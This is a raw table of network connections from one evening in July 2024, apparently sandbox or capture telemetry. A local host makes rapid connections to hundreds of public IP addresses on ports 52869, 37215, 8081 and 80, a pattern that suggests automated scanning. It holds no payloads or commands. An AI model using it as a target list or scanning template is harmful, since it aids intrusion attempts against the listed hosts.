Jul 20, 2024 23:01:05.377360106 CEST	49909	52869	192.168.2.14	87.230.145.130
Jul 20, 2024 23:01:05.377360106 CEST	49909	52869	192.168.2.14	159.73.209.162
Jul 20, 2024 23:01:05.377360106 CEST	49909	52869	192.168.2.14	198.228.212.189
Jul 20, 2024 23:01:05.377360106 CEST	49909	52869	192.168.2.14	138.147.0.236
Jul 20, 2024 23:01:05.378300905 CEST	49909	52869	192.168.2.14	67.236.111.42
Jul 20, 2024 23:01:05.378300905 CEST	49909	52869	192.168.2.14	211.153.6.105
Jul 20, 2024 23:01:05.378300905 CEST	49909	52869	192.168.2.14	182.98.117.77
Jul 20, 2024 23:01:05.378300905 CEST	49909	52869	192.168.2.14	8.135.44.238
Jul 20, 2024 23:01:05.378300905 CEST	49909	52869	192.168.2.14	1.4.58.228
Jul 20, 2024 23:01:05.378300905 CEST	49909	52869	192.168.2.14	116.87.201.8
Jul 20, 2024 23:01:05.378300905 CEST	49909	52869	192.168.2.14	109.210.97.19
Jul 20, 2024 23:01:05.378300905 CEST	40752	52869	192.168.2.14	202.104.226.178
Jul 20, 2024 23:01:05.379287004 CEST	49909	52869	192.168.2.14	4.122.174.96
Jul 20, 2024 23:01:05.379287004 CEST	49909	52869	192.168.2.14	74.223.178.51
Jul 20, 2024 23:01:05.379287004 CEST	49909	52869	192.168.2.14	129.246.221.179
Jul 20, 2024 23:01:05.379287004 CEST	49909	52869	192.168.2.14	25.213.106.157
Jul 20, 2024 23:01:05.379287004 CEST	49909	52869	192.168.2.14	164.115.1.98
Jul 20, 2024 23:01:05.379287004 CEST	49909	52869	192.168.2.14	45.142.21.184
Jul 20, 2024 23:01:05.379287004 CEST	49909	52869	192.168.2.14	206.141.206.158
Jul 20, 2024 23:01:05.379287958 CEST	49909	52869	192.168.2.14	54.187.113.231
Jul 20, 2024 23:01:05.380575895 CEST	49909	52869	192.168.2.14	150.82.37.128
Jul 20, 2024 23:01:05.380575895 CEST	49909	52869	192.168.2.14	222.86.131.224
Jul 20, 2024 23:01:05.380575895 CEST	49909	52869	192.168.2.14	217.173.214.214
Jul 20, 2024 23:01:05.380575895 CEST	49909	52869	192.168.2.14	221.10.21.219
Jul 20, 2024 23:01:05.380575895 CEST	49909	52869	192.168.2.14	71.51.84.164
Jul 20, 2024 23:01:05.380575895 CEST	49909	52869	192.168.2.14	190.131.44.221
Jul 20, 2024 23:01:05.380575895 CEST	49909	52869	192.168.2.14	207.53.125.175
Jul 20, 2024 23:01:05.380575895 CEST	49909	52869	192.168.2.14	125.117.237.225
Jul 20, 2024 23:01:05.380690098 CEST	34592	37215	192.168.2.14	197.91.36.141
Jul 20, 2024 23:01:05.380690098 CEST	36550	52869	192.168.2.14	73.117.253.69
Jul 20, 2024 23:01:05.380690098 CEST	57198	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:05.380690098 CEST	51304	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:05.381261110 CEST	49909	52869	192.168.2.14	24.230.38.202
Jul 20, 2024 23:01:05.381261110 CEST	46346	52869	192.168.2.14	141.25.137.192
Jul 20, 2024 23:01:05.381617069 CEST	49909	52869	192.168.2.14	119.47.251.212
Jul 20, 2024 23:01:05.381617069 CEST	49909	52869	192.168.2.14	219.38.201.206
Jul 20, 2024 23:01:05.381617069 CEST	49909	52869	192.168.2.14	12.44.95.134
Jul 20, 2024 23:01:05.381617069 CEST	49909	52869	192.168.2.14	69.98.41.133
Jul 20, 2024 23:01:05.381617069 CEST	49909	52869	192.168.2.14	17.252.128.112
Jul 20, 2024 23:01:05.381617069 CEST	49909	52869	192.168.2.14	122.130.154.23
Jul 20, 2024 23:01:05.381617069 CEST	49909	52869	192.168.2.14	128.149.31.129
Jul 20, 2024 23:01:05.381617069 CEST	49909	52869	192.168.2.14	110.140.93.125
Jul 20, 2024 23:01:05.382937908 CEST	41900	37215	192.168.2.14	157.89.201.91
Jul 20, 2024 23:01:05.382937908 CEST	38232	8081	192.168.2.14	187.16.144.121
Jul 20, 2024 23:01:05.383281946 CEST	49909	52869	192.168.2.14	17.144.224.205
Jul 20, 2024 23:01:05.383281946 CEST	49909	52869	192.168.2.14	27.129.137.213
Jul 20, 2024 23:01:05.383281946 CEST	49909	52869	192.168.2.14	92.86.36.182
Jul 20, 2024 23:01:05.383281946 CEST	49909	52869	192.168.2.14	211.136.74.160
Jul 20, 2024 23:01:05.383281946 CEST	49909	52869	192.168.2.14	199.204.179.140
Jul 20, 2024 23:01:05.383281946 CEST	49909	52869	192.168.2.14	123.103.63.152
Jul 20, 2024 23:01:05.383281946 CEST	49909	52869	192.168.2.14	93.201.16.70
Jul 20, 2024 23:01:05.383481026 CEST	49909	52869	192.168.2.14	132.158.137.174
Jul 20, 2024 23:01:05.383481026 CEST	49909	52869	192.168.2.14	145.183.202.158
Jul 20, 2024 23:01:05.383481026 CEST	49909	52869	192.168.2.14	84.186.250.185
Jul 20, 2024 23:01:05.383481026 CEST	49909	52869	192.168.2.14	44.25.16.192
Jul 20, 2024 23:01:05.383481026 CEST	49909	52869	192.168.2.14	128.30.26.97
Jul 20, 2024 23:01:05.383481026 CEST	49909	52869	192.168.2.14	158.159.141.130
Jul 20, 2024 23:01:05.384004116 CEST	49909	52869	192.168.2.14	138.252.99.235
Jul 20, 2024 23:01:05.384004116 CEST	49909	52869	192.168.2.14	41.73.206.231
Jul 20, 2024 23:01:05.384004116 CEST	49930	52869	192.168.2.14	147.70.92.77
Jul 20, 2024 23:01:05.384004116 CEST	49909	52869	192.168.2.14	190.175.252.103
Jul 20, 2024 23:01:05.384004116 CEST	49909	52869	192.168.2.14	168.91.72.122
Jul 20, 2024 23:01:05.384004116 CEST	49909	52869	192.168.2.14	223.30.103.200
Jul 20, 2024 23:01:05.384004116 CEST	49909	52869	192.168.2.14	191.53.247.251
Jul 20, 2024 23:01:05.384004116 CEST	49909	52869	192.168.2.14	150.198.0.215
Jul 20, 2024 23:01:05.385417938 CEST	49909	52869	192.168.2.14	145.8.151.25
Jul 20, 2024 23:01:05.385417938 CEST	32892	80	192.168.2.14	88.229.43.244
Jul 20, 2024 23:01:05.385417938 CEST	59014	8081	192.168.2.14	58.102.190.118
Jul 20, 2024 23:01:05.385482073 CEST	49909	52869	192.168.2.14	130.92.74.165
Jul 20, 2024 23:01:05.385482073 CEST	49909	52869	192.168.2.14	122.219.221.216
Jul 20, 2024 23:01:05.385482073 CEST	49909	52869	192.168.2.14	82.74.233.231
Jul 20, 2024 23:01:05.385482073 CEST	49909	52869	192.168.2.14	147.178.187.202
Jul 20, 2024 23:01:05.385482073 CEST	49909	52869	192.168.2.14	159.145.255.132
Jul 20, 2024 23:01:05.385482073 CEST	49909	52869	192.168.2.14	139.252.193.220
Jul 20, 2024 23:01:05.387275934 CEST	41780	37215	192.168.2.14	157.232.183.8
Jul 20, 2024 23:01:05.388492107 CEST	49909	52869	192.168.2.14	61.86.108.71
Jul 20, 2024 23:01:05.388492107 CEST	49909	52869	192.168.2.14	112.91.138.36
Jul 20, 2024 23:01:05.388493061 CEST	49200	8081	192.168.2.14	156.190.124.56
Jul 20, 2024 23:01:05.388493061 CEST	36456	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:05.389276981 CEST	36128	52869	192.168.2.14	44.96.234.78
Jul 20, 2024 23:01:05.389276981 CEST	55682	8081	192.168.2.14	34.242.74.202
Jul 20, 2024 23:01:05.389276981 CEST	46340	80	192.168.2.14	88.145.169.141
Jul 20, 2024 23:01:05.393776894 CEST	8081	33974	218.9.118.15	192.168.2.14
Jul 20, 2024 23:01:05.394866943 CEST	57212	37215	192.168.2.14	128.197.81.243
Jul 20, 2024 23:01:05.395231962 CEST	33974	8081	192.168.2.14	218.9.118.15
Jul 20, 2024 23:01:05.396358013 CEST	80	32892	88.229.43.244	192.168.2.14
Jul 20, 2024 23:01:05.400196075 CEST	8081	59014	58.102.190.118	192.168.2.14
Jul 20, 2024 23:01:05.403063059 CEST	52869	36128	44.96.234.78	192.168.2.14
Jul 20, 2024 23:01:05.403075933 CEST	8081	55682	34.242.74.202	192.168.2.14
Jul 20, 2024 23:01:05.403614998 CEST	80	46340	88.145.169.141	192.168.2.14
Jul 20, 2024 23:01:05.407457113 CEST	37215	57212	128.197.81.243	192.168.2.14
Jul 20, 2024 23:01:05.412770033 CEST	42736	80	192.168.2.14	88.52.198.182
Jul 20, 2024 23:01:05.431884050 CEST	57212	37215	192.168.2.14	128.197.81.243
Jul 20, 2024 23:01:05.432492971 CEST	46340	80	192.168.2.14	88.145.169.141
Jul 20, 2024 23:01:05.432492971 CEST	55682	8081	192.168.2.14	34.242.74.202
Jul 20, 2024 23:01:05.432492971 CEST	36128	52869	192.168.2.14	44.96.234.78
Jul 20, 2024 23:01:05.435900927 CEST	32892	80	192.168.2.14	88.229.43.244
Jul 20, 2024 23:01:05.435900927 CEST	59014	8081	192.168.2.14	58.102.190.118
Jul 20, 2024 23:01:05.437189102 CEST	35474	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:05.437676907 CEST	38070	37215	192.168.2.14	157.69.199.211
Jul 20, 2024 23:01:05.437797070 CEST	46806	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:05.437834024 CEST	46806	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:05.438808918 CEST	47722	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:05.439189911 CEST	58474	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:05.439189911 CEST	58474	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:05.439311981 CEST	41080	8081	192.168.2.14	149.49.63.147
Jul 20, 2024 23:01:05.440774918 CEST	60130	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:05.440774918 CEST	60130	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:05.440875053 CEST	59564	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:05.441271067 CEST	39734	37215	192.168.2.14	157.156.34.177
Jul 20, 2024 23:01:05.442316055 CEST	32816	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:05.442488909 CEST	52869	35474	34.37.107.29	192.168.2.14
Jul 20, 2024 23:01:05.442533016 CEST	35474	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:05.442608118 CEST	57236	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:05.442627907 CEST	57236	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:05.442765951 CEST	37215	38070	157.69.199.211	192.168.2.14
Jul 20, 2024 23:01:05.442785025 CEST	80	46806	88.224.228.131	192.168.2.14
Jul 20, 2024 23:01:05.442821980 CEST	38070	37215	192.168.2.14	157.69.199.211
Jul 20, 2024 23:01:05.442878008 CEST	80	46806	88.224.228.131	192.168.2.14
Jul 20, 2024 23:01:05.443963051 CEST	58330	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:05.444191933 CEST	45304	8081	192.168.2.14	2.15.3.152
Jul 20, 2024 23:01:05.444297075 CEST	80	47722	88.224.228.131	192.168.2.14
Jul 20, 2024 23:01:05.444335938 CEST	47722	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:05.444344044 CEST	52869	58474	177.133.134.55	192.168.2.14
Jul 20, 2024 23:01:05.444921970 CEST	38736	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:05.444937944 CEST	38736	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:05.444955111 CEST	52869	58474	177.133.134.55	192.168.2.14
Jul 20, 2024 23:01:05.445077896 CEST	8081	41080	149.49.63.147	192.168.2.14
Jul 20, 2024 23:01:05.445120096 CEST	41080	8081	192.168.2.14	149.49.63.147
Jul 20, 2024 23:01:05.445738077 CEST	51024	37215	192.168.2.14	197.198.171.240
Jul 20, 2024 23:01:05.446049929 CEST	39658	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:05.446072102 CEST	80	60130	88.155.53.113	192.168.2.14
Jul 20, 2024 23:01:05.446130991 CEST	80	60130	88.155.53.113	192.168.2.14
Jul 20, 2024 23:01:05.446219921 CEST	52869	59564	177.133.134.55	192.168.2.14
Jul 20, 2024 23:01:05.446260929 CEST	59564	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:05.446337938 CEST	37215	39734	157.156.34.177	192.168.2.14
Jul 20, 2024 23:01:05.446377993 CEST	39734	37215	192.168.2.14	157.156.34.177
Jul 20, 2024 23:01:05.446480989 CEST	38530	52869	192.168.2.14	101.71.112.133
Jul 20, 2024 23:01:05.446480989 CEST	38530	52869	192.168.2.14	101.71.112.133
Jul 20, 2024 23:01:05.447351933 CEST	80	32816	88.155.53.113	192.168.2.14
Jul 20, 2024 23:01:05.447417974 CEST	32816	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:05.447617054 CEST	36860	8081	192.168.2.14	193.15.250.199
Jul 20, 2024 23:01:05.447855949 CEST	52869	57236	82.44.225.133	192.168.2.14
Jul 20, 2024 23:01:05.448142052 CEST	49376	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:05.448169947 CEST	49376	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:05.448251963 CEST	39628	52869	192.168.2.14	101.71.112.133
Jul 20, 2024 23:01:05.449179888 CEST	52869	35474	34.37.107.29	192.168.2.14
Jul 20, 2024 23:01:05.449331045 CEST	52869	57236	82.44.225.133	192.168.2.14
Jul 20, 2024 23:01:05.449496031 CEST	52869	58330	82.44.225.133	192.168.2.14
Jul 20, 2024 23:01:05.449501991 CEST	8081	45304	2.15.3.152	192.168.2.14
Jul 20, 2024 23:01:05.449508905 CEST	47644	37215	192.168.2.14	157.239.188.37
Jul 20, 2024 23:01:05.449788094 CEST	45304	8081	192.168.2.14	2.15.3.152
Jul 20, 2024 23:01:05.449788094 CEST	50300	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:05.449814081 CEST	80	38736	88.134.155.248	192.168.2.14
Jul 20, 2024 23:01:05.449893951 CEST	58330	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:05.450095892 CEST	80	38736	88.134.155.248	192.168.2.14
Jul 20, 2024 23:01:05.450140953 CEST	35474	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:05.450413942 CEST	60168	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:05.450427055 CEST	60168	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:05.450855017 CEST	37215	51024	197.198.171.240	192.168.2.14
Jul 20, 2024 23:01:05.450906992 CEST	51024	37215	192.168.2.14	197.198.171.240
Jul 20, 2024 23:01:05.451551914 CEST	80	39658	88.134.155.248	192.168.2.14
Jul 20, 2024 23:01:05.451731920 CEST	33036	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:05.452079058 CEST	39658	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:05.452079058 CEST	46166	8081	192.168.2.14	69.234.93.102
Jul 20, 2024 23:01:05.452394962 CEST	50730	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:05.452394962 CEST	50730	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:05.452450037 CEST	52869	38530	101.71.112.133	192.168.2.14
Jul 20, 2024 23:01:05.452465057 CEST	80	47722	88.224.228.131	192.168.2.14
Jul 20, 2024 23:01:05.453278065 CEST	8081	41080	149.49.63.147	192.168.2.14
Jul 20, 2024 23:01:05.453346014 CEST	51654	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:05.453905106 CEST	50060	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:05.453918934 CEST	50060	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:05.454119921 CEST	47722	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:05.454130888 CEST	41080	8081	192.168.2.14	149.49.63.147
Jul 20, 2024 23:01:05.454277992 CEST	42456	37215	192.168.2.14	157.212.111.29
Jul 20, 2024 23:01:05.454437017 CEST	8081	36860	193.15.250.199	192.168.2.14
Jul 20, 2024 23:01:05.454454899 CEST	52869	59564	177.133.134.55	192.168.2.14
Jul 20, 2024 23:01:05.454462051 CEST	37215	39734	157.156.34.177	192.168.2.14
Jul 20, 2024 23:01:05.454493999 CEST	36860	8081	192.168.2.14	193.15.250.199
Jul 20, 2024 23:01:05.454902887 CEST	80	49376	88.146.120.92	192.168.2.14
Jul 20, 2024 23:01:05.455264091 CEST	80	32816	88.155.53.113	192.168.2.14
Jul 20, 2024 23:01:05.455269098 CEST	80	49376	88.146.120.92	192.168.2.14
Jul 20, 2024 23:01:05.455542088 CEST	47712	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:05.455570936 CEST	47712	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:05.455663919 CEST	52869	39628	101.71.112.133	192.168.2.14
Jul 20, 2024 23:01:05.455683947 CEST	51164	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:05.455707073 CEST	39628	52869	192.168.2.14	101.71.112.133
Jul 20, 2024 23:01:05.455966949 CEST	35664	8081	192.168.2.14	217.106.240.171
Jul 20, 2024 23:01:05.457309008 CEST	48638	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:05.458093882 CEST	37215	47644	157.239.188.37	192.168.2.14
Jul 20, 2024 23:01:05.458139896 CEST	32816	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:05.458142042 CEST	47644	37215	192.168.2.14	157.239.188.37
Jul 20, 2024 23:01:05.458408117 CEST	45390	37215	192.168.2.14	157.32.53.131
Jul 20, 2024 23:01:05.458408117 CEST	59564	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:05.458466053 CEST	42822	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:05.458605051 CEST	8081	45304	2.15.3.152	192.168.2.14
Jul 20, 2024 23:01:05.458611012 CEST	80	50300	88.146.120.92	192.168.2.14
Jul 20, 2024 23:01:05.458662033 CEST	50300	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:05.458730936 CEST	41716	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:05.458730936 CEST	41716	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:05.458730936 CEST	39734	37215	192.168.2.14	157.156.34.177
Jul 20, 2024 23:01:05.459057093 CEST	52869	60168	31.235.249.101	192.168.2.14
Jul 20, 2024 23:01:05.459062099 CEST	52869	60168	31.235.249.101	192.168.2.14
Jul 20, 2024 23:01:05.459134102 CEST	56352	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:05.459134102 CEST	56352	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:05.459964991 CEST	49508	8081	192.168.2.14	120.153.161.123
Jul 20, 2024 23:01:05.460185051 CEST	52869	58330	82.44.225.133	192.168.2.14
Jul 20, 2024 23:01:05.460570097 CEST	57280	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:05.460762978 CEST	47030	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:05.460762978 CEST	47030	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:05.460772038 CEST	52869	33036	31.235.249.101	192.168.2.14
Jul 20, 2024 23:01:05.460788965 CEST	8081	46166	69.234.93.102	192.168.2.14
Jul 20, 2024 23:01:05.460793972 CEST	80	50730	88.101.75.49	192.168.2.14
Jul 20, 2024 23:01:05.460834980 CEST	46166	8081	192.168.2.14	69.234.93.102
Jul 20, 2024 23:01:05.460935116 CEST	80	50730	88.101.75.49	192.168.2.14
Jul 20, 2024 23:01:05.460947037 CEST	37215	51024	197.198.171.240	192.168.2.14
Jul 20, 2024 23:01:05.461348057 CEST	33036	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:05.461859941 CEST	80	51654	88.101.75.49	192.168.2.14
Jul 20, 2024 23:01:05.461913109 CEST	51654	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:05.462049007 CEST	42442	37215	192.168.2.14	84.58.208.79
Jul 20, 2024 23:01:05.462269068 CEST	41932	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:05.462269068 CEST	41932	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:05.462378025 CEST	52869	50060	82.86.85.182	192.168.2.14
Jul 20, 2024 23:01:05.462384939 CEST	80	39658	88.134.155.248	192.168.2.14
Jul 20, 2024 23:01:05.462397099 CEST	48140	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:05.462491989 CEST	52869	50060	82.86.85.182	192.168.2.14
Jul 20, 2024 23:01:05.462866068 CEST	37215	42456	157.212.111.29	192.168.2.14
Jul 20, 2024 23:01:05.462914944 CEST	42456	37215	192.168.2.14	157.212.111.29
Jul 20, 2024 23:01:05.463572979 CEST	38094	8081	192.168.2.14	136.94.164.35
Jul 20, 2024 23:01:05.463759899 CEST	8081	36860	193.15.250.199	192.168.2.14
Jul 20, 2024 23:01:05.464035034 CEST	80	47712	88.98.231.244	192.168.2.14
Jul 20, 2024 23:01:05.464040041 CEST	80	47712	88.98.231.244	192.168.2.14
Jul 20, 2024 23:01:05.464335918 CEST	52869	51164	82.86.85.182	192.168.2.14
Jul 20, 2024 23:01:05.464348078 CEST	8081	35664	217.106.240.171	192.168.2.14
Jul 20, 2024 23:01:05.465451002 CEST	35664	8081	192.168.2.14	217.106.240.171
Jul 20, 2024 23:01:05.465905905 CEST	80	48638	88.98.231.244	192.168.2.14
Jul 20, 2024 23:01:05.465955019 CEST	48638	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:05.466053963 CEST	42862	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:05.466053963 CEST	51164	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:05.466054916 CEST	60522	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:05.466054916 CEST	60522	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:05.466085911 CEST	52869	42822	64.117.200.225	192.168.2.14
Jul 20, 2024 23:01:05.466140985 CEST	58330	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:05.466204882 CEST	51024	37215	192.168.2.14	197.198.171.240
Jul 20, 2024 23:01:05.466336966 CEST	42822	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:05.466336966 CEST	45304	8081	192.168.2.14	2.15.3.152
Jul 20, 2024 23:01:05.466407061 CEST	36860	8081	192.168.2.14	193.15.250.199
Jul 20, 2024 23:01:05.466871977 CEST	37215	45390	157.32.53.131	192.168.2.14
Jul 20, 2024 23:01:05.466878891 CEST	80	56352	88.243.49.12	192.168.2.14
Jul 20, 2024 23:01:05.466891050 CEST	80	56352	88.243.49.12	192.168.2.14
Jul 20, 2024 23:01:05.467014074 CEST	52869	41716	64.117.200.225	192.168.2.14
Jul 20, 2024 23:01:05.467150927 CEST	33402	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:05.467179060 CEST	45390	37215	192.168.2.14	157.32.53.131
Jul 20, 2024 23:01:05.467238903 CEST	52869	41716	64.117.200.225	192.168.2.14
Jul 20, 2024 23:01:05.467246056 CEST	8081	49508	120.153.161.123	192.168.2.14
Jul 20, 2024 23:01:05.467339993 CEST	80	57280	88.243.49.12	192.168.2.14
Jul 20, 2024 23:01:05.467345953 CEST	52869	47030	177.26.169.251	192.168.2.14
Jul 20, 2024 23:01:05.467359066 CEST	52869	47030	177.26.169.251	192.168.2.14
Jul 20, 2024 23:01:05.467384100 CEST	57280	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:05.467619896 CEST	44408	37215	192.168.2.14	197.211.156.8
Jul 20, 2024 23:01:05.467694998 CEST	39658	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:05.467694998 CEST	49508	8081	192.168.2.14	120.153.161.123
Jul 20, 2024 23:01:05.467818975 CEST	46476	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:05.467818975 CEST	46476	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:05.467860937 CEST	52869	39628	101.71.112.133	192.168.2.14
Jul 20, 2024 23:01:05.468060017 CEST	37215	42442	84.58.208.79	192.168.2.14
Jul 20, 2024 23:01:05.468070984 CEST	80	41932	88.190.107.86	192.168.2.14
Jul 20, 2024 23:01:05.468192101 CEST	80	41932	88.190.107.86	192.168.2.14
Jul 20, 2024 23:01:05.468199015 CEST	52869	48140	177.26.169.251	192.168.2.14
Jul 20, 2024 23:01:05.468346119 CEST	48140	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:05.468462944 CEST	42442	37215	192.168.2.14	84.58.208.79
Jul 20, 2024 23:01:05.468859911 CEST	43334	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:05.468904972 CEST	43334	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:05.468971968 CEST	47406	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:05.469058990 CEST	8081	38094	136.94.164.35	192.168.2.14
Jul 20, 2024 23:01:05.469079971 CEST	49564	8081	192.168.2.14	91.12.68.72
Jul 20, 2024 23:01:05.470942020 CEST	39628	52869	192.168.2.14	101.71.112.133
Jul 20, 2024 23:01:05.470942020 CEST	44450	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:05.471395969 CEST	55142	37215	192.168.2.14	119.104.173.17
Jul 20, 2024 23:01:05.471478939 CEST	38094	8081	192.168.2.14	136.94.164.35
Jul 20, 2024 23:01:05.471478939 CEST	49984	80	192.168.2.14	88.102.141.240
Jul 20, 2024 23:01:05.471478939 CEST	49984	80	192.168.2.14	88.102.141.240
Jul 20, 2024 23:01:05.471523046 CEST	37215	47644	157.239.188.37	192.168.2.14
Jul 20, 2024 23:01:05.472625017 CEST	80	50300	88.146.120.92	192.168.2.14
Jul 20, 2024 23:01:05.472693920 CEST	56082	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:05.472707987 CEST	56082	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:05.472919941 CEST	80	42862	88.190.107.86	192.168.2.14
Jul 20, 2024 23:01:05.472927094 CEST	52869	33402	121.241.252.236	192.168.2.14
Jul 20, 2024 23:01:05.472939968 CEST	52869	60522	121.241.252.236	192.168.2.14
Jul 20, 2024 23:01:05.472969055 CEST	42862	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:05.472974062 CEST	33402	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:05.473104000 CEST	52869	60522	121.241.252.236	192.168.2.14
Jul 20, 2024 23:01:05.473109961 CEST	80	46476	88.183.20.111	192.168.2.14
Jul 20, 2024 23:01:05.473161936 CEST	37215	44408	197.211.156.8	192.168.2.14
Jul 20, 2024 23:01:05.473200083 CEST	44408	37215	192.168.2.14	197.211.156.8
Jul 20, 2024 23:01:05.473253965 CEST	80	46476	88.183.20.111	192.168.2.14
Jul 20, 2024 23:01:05.473577976 CEST	34858	8081	192.168.2.14	118.120.59.187
Jul 20, 2024 23:01:05.474010944 CEST	52869	43334	200.181.183.183	192.168.2.14
Jul 20, 2024 23:01:05.474114895 CEST	52869	43334	200.181.183.183	192.168.2.14
Jul 20, 2024 23:01:05.474128008 CEST	50300	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:05.474128008 CEST	47644	37215	192.168.2.14	157.239.188.37
Jul 20, 2024 23:01:05.474189043 CEST	57202	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:05.474361897 CEST	8081	49564	91.12.68.72	192.168.2.14
Jul 20, 2024 23:01:05.474574089 CEST	49564	8081	192.168.2.14	91.12.68.72
Jul 20, 2024 23:01:05.474877119 CEST	47594	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:05.474877119 CEST	47594	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:05.474894047 CEST	50916	80	192.168.2.14	88.102.141.240
Jul 20, 2024 23:01:05.474951029 CEST	80	47406	88.183.20.111	192.168.2.14
Jul 20, 2024 23:01:05.474991083 CEST	47406	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:05.475274086 CEST	8081	46166	69.234.93.102	192.168.2.14
Jul 20, 2024 23:01:05.475570917 CEST	45276	37215	192.168.2.14	197.65.248.102
Jul 20, 2024 23:01:05.475903988 CEST	48528	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:05.475967884 CEST	42316	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:05.476037025 CEST	42316	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:05.476490974 CEST	37215	55142	119.104.173.17	192.168.2.14
Jul 20, 2024 23:01:05.476820946 CEST	80	49984	88.102.141.240	192.168.2.14
Jul 20, 2024 23:01:05.476826906 CEST	80	49984	88.102.141.240	192.168.2.14
Jul 20, 2024 23:01:05.477210045 CEST	55142	37215	192.168.2.14	119.104.173.17
Jul 20, 2024 23:01:05.477590084 CEST	52869	33036	31.235.249.101	192.168.2.14
Jul 20, 2024 23:01:05.477710009 CEST	52869	56082	211.192.130.220	192.168.2.14
Jul 20, 2024 23:01:05.477715015 CEST	52869	56082	211.192.130.220	192.168.2.14
Jul 20, 2024 23:01:05.478049994 CEST	43438	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:05.478601933 CEST	80	51654	88.101.75.49	192.168.2.14
Jul 20, 2024 23:01:05.478693962 CEST	8081	34858	118.120.59.187	192.168.2.14
Jul 20, 2024 23:01:05.478737116 CEST	34858	8081	192.168.2.14	118.120.59.187
Jul 20, 2024 23:01:05.478804111 CEST	50300	80	192.168.2.14	88.250.101.98
Jul 20, 2024 23:01:05.478804111 CEST	50300	80	192.168.2.14	88.250.101.98
